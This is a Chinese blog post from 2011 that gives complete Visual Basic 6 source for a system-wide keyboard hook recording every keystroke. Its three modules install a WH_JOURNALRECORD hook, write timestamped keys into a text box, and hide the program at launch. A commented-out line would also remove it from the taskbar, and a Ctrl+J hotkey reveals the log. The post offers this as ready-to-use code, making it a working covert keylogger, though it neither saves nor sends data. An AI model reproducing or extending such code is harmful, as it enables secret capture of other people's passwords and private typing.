VB键盘钩子源码：截取一切键盘按键

VB键盘钩子源码：截取一切键盘按键

  (2011-07-15 10:52:11)

转载▼

标签：  杂谈

分类： 我的VB

1、UI设计：

2、程序源码：

（1）FrmHook源码

Option Explicit
Dim WithEvents Hook As ClsHook   '创建一个需要事件支持的Hook为模块ClsHook
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
 '根据指定的映射类型，执行不同的扫描码和字符转换
 '
 '   uCode Long，欲转换的源字符或代码
 '   uMapType Long，控制映射类型，如下所示
 '           0 —— uCode是个虚拟键码?函数返回相应的扫描码
 '           1 —— uCode是个扫描码?函数返回相应的虚拟键码
 '           2—— uCode是个虚拟键码。函数返回相应的ASCII值（未加Shift组合键）。针对死键，高位设为1。如果出错，返回NULL
 '   dwhkl Long，键盘布局的句柄

 Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
 '取得一个句柄，描述指定应用程序的键盘布局
 '   dwLayout ，//欲检查的线程的标识符
 
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
 '获取与指定窗口关联在一起的一个进程和线程标识符
 '   lpdwProcessId Long，指定一个变量，用于装载拥有那个窗口的一个进程的标识符
 '   hwnd Long，指定窗口句柄

Private Sub Form_Load()
Set Hook = New ClsHook
Hook.SetHook
'App.TaskVisible = False
Me.Hide
End Sub

Private Sub Form_Unload(Cancel As Integer)
 Hook.UnHook
 Set Hook = Nothing
End Sub

Private Sub Hook_KeyDown(KeyCode As Integer, Shift As Integer)  '钩子的KeyDown事件，在模块中我们自己定义的事件KeyDown
 Dim StrCode As String
   StrCode = CodeToString(KeyCode)
     '判断Shift
    If StrCode = "[Shift]" Or StrCode = "[Alt]" Or StrCode = "[Ctrl]" Then
      If Shift = vbAltMask + vbCtrlMask Then StrCode = "[Alt + Ctrl]"
      If Shift = vbAltMask + vbShiftMask Then StrCode = "[Alt + Shift]"
      If Shift = vbCtrlMask + vbShiftMask Then StrCode = "[Ctrl + Shift]"
      If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = "[Ctrl + Shift +Alt]"
   
    Else
      If Shift = vbShiftMask Then StrCode = StrCode & " + [Shift]"
      If Shift = vbCtrlMask Then StrCode = StrCode & " + [Ctrl]"
      If Shift = vbAltMask Then StrCode = StrCode & " + [Alt]"
      If Shift = vbAltMask + vbCtrlMask Then StrCode = StrCode & " + [Alt + Ctrl]"
      If Shift = vbAltMask + vbShiftMask Then StrCode = StrCode & " + [Alt + Shift]"
      If Shift = vbCtrlMask + vbShiftMask Then StrCode = StrCode & " + [Ctrl + Shift]"
      If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = StrCode & " + [Ctrl + Shift +Alt]"
    End If
   
     '热键Ctrl+J，呼出窗口
    If StrCode = "[j] + [Ctrl]" Then
      Me.Show
      App.TaskVisible = True
    End If
    Text1.Text = Text1.Text & Now & "------" & StrCode & vbCrLf
   
End Sub

  '把按键码换为String
Private Function CodeToString(nCode As Integer) As String
   Dim StrKey As String
   
     Select Case nCode
          Case vbKeyBack:     StrKey = "BackSpace"
          Case vbKeyTab:      StrKey = "Tab"
          Case vbKeyClear:    StrKey = "Clear"
          Case vbKeyReturn:   StrKey = "Enter"
          Case vbKeyShift:    StrKey = "Shift"
          Case vbKeyControl:  StrKey = "Ctrl"
          Case vbKeyMenu:     StrKey = "Alt"
          Case vbKeyPause:    StrKey = "Pause"
          Case vbKeyCapital:  StrKey = "CapsLock"
          Case vbKeyEscape:   StrKey = "ESC"
          Case vbKeySpace:    StrKey = "SPACEBAR"
          Case vbKeyPageUp:   StrKey = "PAGE UP"
          Case vbKeyPageDown: StrKey = "PAGE DOWN"
          Case vbKeyEnd:      StrKey = "END"
          Case vbKeyHome:     StrKey = "HOME"
          Case vbKeyLeft:     StrKey = "LEFT ARROW"
          Case vbKeyUp:       StrKey = "UP ARROW"
          Case vbKeyRight:    StrKey = "RIGHT ARROW"
          Case vbKeyDown:     StrKey = "DOWN ARROW"
          Case vbKeySelect:   StrKey = "SELECT"
          Case vbKeyPrint:    StrKey = "PRINT SCREEN"
          Case vbKeyExecute:  StrKey = "EXECUTE"
          Case vbKeySnapshot: StrKey = "SNAPSHOT"
          Case vbKeyInsert:   StrKey = "INS"
          Case vbKeyDelete:   StrKey = "DEL"
          Case vbKeyHelp:     StrKey = "HELP"
          Case vbKeyNumlock:  StrKey = "NUM LOCK"
          Case vbKey0 To vbKey9: StrKey = Chr$(nCode)
          Case vbKeyA To vbKeyZ: StrKey = LCase(Chr$(nCode))     'MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
          Case vbKeyF1 To vbKeyF16: StrKey = "F" & CStr(nCode - 111)
          Case vbKeyNumpad0 To vbKeyNumpad9: StrKey = "Numpad " & CStr(nCode - 96)
          Case vbKeyMultiply: StrKey = "Numpad {*}"
          Case vbKeyAdd: StrKey = "Numpad {+}"
          Case vbKeySeparator: StrKey = "Numpad {ENTER}"
          Case vbKeySubtract: StrKey = "Numpad {-}"
          Case vbKeyDecimal: StrKey = "Numpad {.}"
          Case vbKeyDivide: StrKey = "Numpad {/}"
          Case Else
               StrKey = Chr$(MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
     End Select
   CodeToString = "[" & StrKey & "]"
End Function

Private Sub text1_Change()
 Text1.SelStart = Len(Text1.Text)
End Sub

（2）ModHook源码

Option Explicit

Public Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Public OldHook As Long  '全局变量OldHook存储钩子句柄
Public LngClsPtr As Long '保存对象地址
 '回调函数
Public Function BackHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As Long
 If nCode < 0 Then  '如果nCode小于0，上次就说过喽，小于0代表没有拦截到键盘消息;当nCode为0的时候，所有的键盘消息都将被拦截，
   BackHook = CallNextHookEx(OldHook, nCode, wParam, lparam)  'wParam为消息的种类（种类知道吧？KeyDown ……）lparam存储了拦截到的消息；没有拦截到消息只好呼叫下个钩子
   Exit Function
 End If
 ResolvePointer(LngClsPtr).RiseEvent (lparam)           '得到消息的地址
 '处理过后一定要将消息归还给系统，难免还有别人要这个消息呢？
 Call CallNextHookEx(OldHook, nCode, wParam, lparam)
End Function

 '得到对象的地址
Private Function ResolvePointer(ByVal lpObj As Long) As ClsHook

  Dim oSH As ClsHook
  CopyMemory oSH, lpObj, 4&
 
  Set ResolvePointer = oSH
  CopyMemory oSH, 0&, 4&
End Function
（3）ClsHook源码：

Option Explicit                         '声明,在VB中，开头使用声明可以减少很多的错误

Public Event KeyDown(KeyCode As Integer, Shift As Integer)   '自定义事件  KeyDown

Private Type EVENTMSG                   '定义事件消息的类型
     wMsg As Long                       '消息
     lParamLow As Long
     lParamHigh As Long
     msgTime As Long                    '消息时间
     hWndMsg As Long                    '消息句柄
End Type

'Private Const WH_GETMESSAGE As Long = 3
Private Const WH_JOURNALRECORD = 0

Private Const WM_KEYDOWN = &H100

Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long 'dwThreadId监控代码,0为全局钩子
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

Public Sub SetHook()
  OldHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf BackHook, App.hInstance, 0)
End Sub

Public Sub UnHook()
  Call UnhookWindowsHookEx(OldHook)
End Sub

Friend Function RiseEvent(ByVal lparam As Long) As Long
Dim Msg As EVENTMSG
Dim IntShift As Integer                                            'Shift
Dim IntCode As Integer                                             'KeyCode

 CopyMemory Msg, ByVal lparam, Len(Msg)                            '利用指针技术将消息从lparam中的数据拷贝到Msg的地址中,简单的说就是把lparam的数据赋值给Msg
 
 IntShift = 0
   Select Case Msg.wMsg                                            '检查消息状态
      Case WM_KEYDOWN                                              '如果消息的事件为KeyDown（键盘按下）
        '得到Shift,Ctrl,Alt的按键状态
         If GetAsyncKeyState(vbKeyShift) Then IntShift = (IntShift Or 1)
         If GetAsyncKeyState(vbKeyControl) Then IntShift = (IntShift Or 2)
         If GetAsyncKeyState(vbKeyMenu) Then IntShift = (IntShift Or 4)
        
         IntCode = Msg.lParamLow And &HFF                            '得到KeyCode（及按键码）
         RaiseEvent KeyDown(IntCode, IntShift)                       'RaiseEvent 引发模块(ClsHook)中声明的事件 KeyDown
   End Select
End Function

Private Sub Class_Initialize()                                        '初始化类
 LngClsPtr = ObjPtr(Me)                                               'ObjPtr，返回对象的地址，将本类的存储地址返回给变量LngClsPtr
End Sub
3、软件运行效果：

运行后自动隐藏，按ctrl+j调出程序显示：